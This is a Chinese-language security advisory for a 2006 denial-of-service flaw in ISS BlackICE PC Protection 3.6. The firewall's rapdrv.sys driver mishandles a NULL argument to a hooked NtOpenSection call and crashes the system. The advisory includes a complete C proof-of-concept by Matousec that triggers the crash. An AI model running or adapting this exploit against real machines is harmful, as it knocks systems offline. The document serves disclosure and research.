发布日期：2006-09-01
更新日期：2006-09-04

受影响系统：

ISS BlackICE PC Protection 3.6

描述：

---

BUGTRAQ  ID: 19800

BlackICE是一款Internet Security Systems公司发布的桌面防火墙系统。

BlackICE的rapdrv.sys驱动在处理NtOpenSection() API钩子的对象属性参数时存在漏洞，攻击者可以利用将第三方参数设置为NULL的NtOpenSection() API导致防火墙崩溃。

<*来源：David Matousek （david@matousec.com）
  
  链接：http://secunia.com/advisories/21710/
        http://marc.theaimsgroup.com/?l=bugtraq&m=115712756216205&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*

Testing program for Insufficient validation of arguments of NtOpenSection (BTP00000P003BI)


Usage:
prog FUNCNAME
   FUNCNAME - name of function to be checked

Description:
This program calls given function with parameters that cause the crash of the system. This happens because of
insufficient check of function arguments in the driver of the firewall.

Test:
Running the testing program with the name of function from the list of functions with insufficient check
of arguments.

*/

#undef __STRICT_ANSI__
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>

void about(void)
{
  printf("Testing program for Insufficient validation of arguments of NtOpenSection (BTP00000P003BI)\n");
  printf("Windows Personal Firewall analysis project\n");
  printf("Copyright 2006 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/\n\n");
  return;
}

void usage(void)
{
  printf("Usage: test FUNCNAME\n"
         "  FUNCNAME - name of function to be checked\n");
  return;
}

void print_last_error()
{
  LPTSTR buf;
  DWORD code=GetLastError();
  if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
  {
    fprintf(stderr,"Error code: %d\n",code);
    fprintf(stderr,"Error message: %s",buf);
    LocalFree(buf);
  } else fprintf(stderr,"Unable to format error message for code %d.\n",code);
  return;
}


int main(int argc,char **argv)
{
  about();

  if (argc!=2)
  {
    usage();
    return 1;
  }

  if (!stricmp(argv[1],"NtOpenSection") || !stricmp(argv[1],"ZwOpenSection"))
  {
    HANDLE handle;
    ZwOpenSection(&handle,SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,NULL);
  } else printf("\nI do not know how to exploit the vulnerability using this function.\n");

  printf("\nTEST FAILED!\n");
  return 1;
}

建议：

---

厂商补丁：

ISS
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://xforce.iss.net

浏览次数：4052
严重程度：0（网友投票）